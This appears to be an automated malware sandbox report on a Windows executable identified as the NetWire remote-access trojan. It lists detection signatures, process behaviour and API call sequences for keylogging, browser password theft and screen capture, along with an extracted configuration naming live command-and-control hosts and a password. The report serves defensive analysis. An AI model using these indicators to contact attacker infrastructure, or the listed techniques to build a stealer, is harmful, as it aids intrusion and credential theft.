Play interactive tour

Edit tour

Windows Analysis Report US1pwXib6h.exe

Overview

General Information

Sample Name:	US1pwXib6h.exe
Analysis ID:	435325
MD5:	91514b3627e78e42cb05bc608737a47f
SHA1:	b48882a3d656068e30b88671aee71010e5602d32
SHA256:	e0e0ca8ec324752ed823c7e503992398e817663828f94b4ca699ff1965095c31
Tags:	exeNetWireRAT
Infos:
Most interesting Screenshot:

Detection

NetWire

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected NetWire RAT

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Internet Explorer form passwords

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Uses dynamic DNS services

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential key logger detected (key state polling based)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

US1pwXib6h.exe (PID: 6476 cmdline: 'C:\Users\user\Desktop\US1pwXib6h.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

US1pwXib6h.exe (PID: 6548 cmdline: 'C:\Users\user\Desktop\US1pwXib6h.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

ioldfli.exe (PID: 6768 cmdline: 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

ioldfli.exe (PID: 6824 cmdline: 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

ioldfli.exe (PID: 7012 cmdline: 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

ioldfli.exe (PID: 7088 cmdline: 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe' MD5: 91514B3627E78E42CB05BC608737A47F)

cleanup

Malware Configuration

Threatname: NetWire

{"C2 list": ["netno.ddns.net:6577", "ddns.dbcdubai.com:6577", "netsecond.duckdns.org:6577"], "Password": "Trinidado1@", "Host ID": "OJ", "Mutex": "oCTboYgC", "Install Path": "-", "Startup Name": "-", "ActiveX Key": "-", "KeyLog Directory": "%AppData%\\Logs\\"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000007.00000002.406739098.00000000023A0000.00000004.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000004.00000002.395120542.00000000024E0000.00000004.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000009.00000001.405669006.0000000000400000.00000040.00020000.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000001.00000002.367065114.00000000024C0000.00000004.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: US1pwXib6h.exe PID: 6476	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: ioldfli.exe PID: 6768	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: ioldfli.exe PID: 7088	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: US1pwXib6h.exe PID: 6548	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: ioldfli.exe PID: 7012	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Process Memory Space: ioldfli.exe PID: 6824	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.US1pwXib6h.exe.24c0000.2.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
2.1.US1pwXib6h.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
4.2.ioldfli.exe.24e0000.2.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
6.1.ioldfli.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
2.2.US1pwXib6h.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
2.2.US1pwXib6h.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
6.1.ioldfli.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
2.1.US1pwXib6h.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
9.1.ioldfli.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
9.2.ioldfli.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
7.2.ioldfli.exe.23a0000.2.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
6.2.ioldfli.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
9.2.ioldfli.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
9.1.ioldfli.exe.400000.0.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
6.2.ioldfli.exe.400000.0.raw.unpack	JoeSecurity_NetWire_1	Yara detected NetWire RAT	Joe Security
Click to see the 10 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.ioldfli.exe.24e0000.2.raw.unpack

Malware Configuration Extractor: NetWire {"C2 list": ["netno.ddns.net:6577", "ddns.dbcdubai.com:6577", "netsecond.duckdns.org:6577"], "Password": "Trinidado1@", "Host ID": "OJ", "Mutex": "oCTboYgC", "Install Path": "-", "Startup Name": "-", "ActiveX Key": "-", "KeyLog Directory": "%AppData%\\Logs\\"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe

ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Show sources

Source: US1pwXib6h.exe	Virustotal: Detection: 15%			Perma Link
Source: US1pwXib6h.exe	ReversingLabs: Detection: 26%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: US1pwXib6h.exe

Joe Sandbox ML: detected

Source: 6.1.ioldfli.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 2.2.US1pwXib6h.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 2.1.US1pwXib6h.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 9.2.ioldfli.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 6.2.ioldfli.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 1.2.US1pwXib6h.exe.99d0000.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.1.ioldfli.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040C4B7 RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegCloseKey,CryptUnprotectData,LocalFree,CryptUnprotectData,GetMenuState,LocalFree,	2_2_0040C4B7
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040E511 CryptUnprotectData,LocalFree,	2_2_0040E511
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040EDD6 fopen,malloc,fclose,fread,fclose,CryptUnprotectData,sprintf,strcmp,strcmp,	2_2_0040EDD6
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040D290 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	2_2_0040D290
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040C4B7 RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegCloseKey,CryptUnprotectData,LocalFree,CryptUnprotectData,GetMenuState,LocalFree,	2_1_0040C4B7
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040E511 CryptUnprotectData,LocalFree,	2_1_0040E511
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040EDD6 fopen,malloc,fclose,fread,fclose,CryptUnprotectData,sprintf,strcmp,strcmp,	2_1_0040EDD6
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040D290 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	2_1_0040D290
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040C4B7 RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegCloseKey,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	6_2_0040C4B7
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040E511 CryptUnprotectData,LocalFree,	6_2_0040E511
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040EDD6 fopen,malloc,fclose,fread,fclose,CryptUnprotectData,sprintf,strcmp,strcmp,	6_2_0040EDD6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040D290 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	6_2_0040D290
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040C4B7 RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegCloseKey,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	6_1_0040C4B7
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040E511 CryptUnprotectData,LocalFree,	6_1_0040E511
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040EDD6 fopen,malloc,fclose,fread,fclose,CryptUnprotectData,sprintf,strcmp,strcmp,	6_1_0040EDD6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040D290 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	6_1_0040D290
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040C4B7 RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegCloseKey,RegCloseKey,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	9_2_0040C4B7
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040E511 CryptUnprotectData,LocalFree,	9_2_0040E511
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040EDD6 fopen,malloc,fclose,fread,fclose,CryptUnprotectData,sprintf,strcmp,strcmp,	9_2_0040EDD6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040D290 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	9_2_0040D290

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Unpacked PE file: 2.2.US1pwXib6h.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 6.2.ioldfli.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 9.2.ioldfli.exe.400000.0.unpack

Source: US1pwXib6h.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: wntdll.pdbUGP source: US1pwXib6h.exe, 00000001.00000003.363846894.0000000009C40000.00000004.00000001.sdmp, ioldfli.exe, 00000004.00000003.385574206.0000000009A10000.00000004.00000001.sdmp, ioldfli.exe, 00000007.00000003.404915131.0000000009A20000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: US1pwXib6h.exe, 00000001.00000003.363846894.0000000009C40000.00000004.00000001.sdmp, ioldfli.exe, 00000004.00000003.385574206.0000000009A10000.00000004.00000001.sdmp, ioldfli.exe, 00000007.00000003.404915131.0000000009A20000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00405302
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_00405CD8 FindFirstFileA,FindClose,	1_2_00405CD8
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_0040263E FindFirstFileA,	1_2_0040263E
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_2_00406453
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	2_2_0040680D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	2_2_0040753D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_2_00413A85
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	2_2_0040DB1C
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	2_2_00406F83
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	2_2_00406390
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_1_00406453
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	2_1_0040680D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	2_1_0040753D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_1_00413A85
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	2_1_0040DB1C
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	2_1_00406F83
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	2_1_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_2_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	6_2_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	6_2_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_2_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	6_2_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	6_2_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	6_2_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_1_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	6_1_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	6_1_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_1_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	6_1_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	6_1_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	6_1_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	7_2_00405302
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_00405CD8 FindFirstFileA,FindClose,	7_2_00405CD8
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_0040263E FindFirstFileA,	7_2_0040263E
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	9_2_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	9_2_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	9_2_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	9_2_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	9_2_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	9_2_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	9_2_00406390

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00406084 SetErrorMode,GetLogicalDriveStringsA,GetVolumeInformationA,GetDiskFreeSpaceExA,GetDriveTypeA,

2_2_00406084

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: netno.ddns.net:6577
Source: Malware configuration extractor	URLs: ddns.dbcdubai.com:6577
Source: Malware configuration extractor	URLs: netsecond.duckdns.org:6577

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: netno.ddns.net
Source: unknown	DNS query: name: netsecond.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.6:49725 -> 99.83.154.118:6577

Source: Joe Sandbox View

IP Address: 99.83.154.118 99.83.154.118

Source: Joe Sandbox View	ASN Name: TELIANETTeliaCarrierEU TELIANETTeliaCarrierEU
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00405811 send,recv,

2_2_00405811

Source: unknown

DNS traffic detected: queries for: netno.ddns.net

Source: ioldfli.exe, ioldfli.exe, 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp, ioldfli.exe, 00000009.00000000.400385140.0000000000409000.00000008.00020000.sdmp, US1pwXib6h.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: US1pwXib6h.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ioldfli.exe	String found in binary or memory: http://www.yandex.com
Source: US1pwXib6h.exe, 00000001.00000002.367065114.00000000024C0000.00000004.00000001.sdmp, US1pwXib6h.exe, 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, ioldfli.exe, 00000004.00000002.395120542.00000000024E0000.00000004.00000001.sdmp, ioldfli.exe, 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, ioldfli.exe, 00000007.00000002.406739098.00000000023A0000.00000004.00000001.sdmp, ioldfli.exe, 00000009.00000001.405669006.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://www.yandex.comsocks=

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to log keystrokes

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	2_2_00409953
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	2_1_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	6_2_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	6_1_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	9_2_00409953

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_00404EB9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_00404EB9

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00411D8C GetSystemMetrics,GetSystemMetrics,GetDesktopWindow,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetDIBits,calloc,GetDIBits,ReleaseDC,DeleteDC,DeleteObject,free,

2_2_00411D8C

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,

2_2_00409953

Source: US1pwXib6h.exe, 00000001.00000002.366959493.000000000078A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\US1pwXib6h.exe

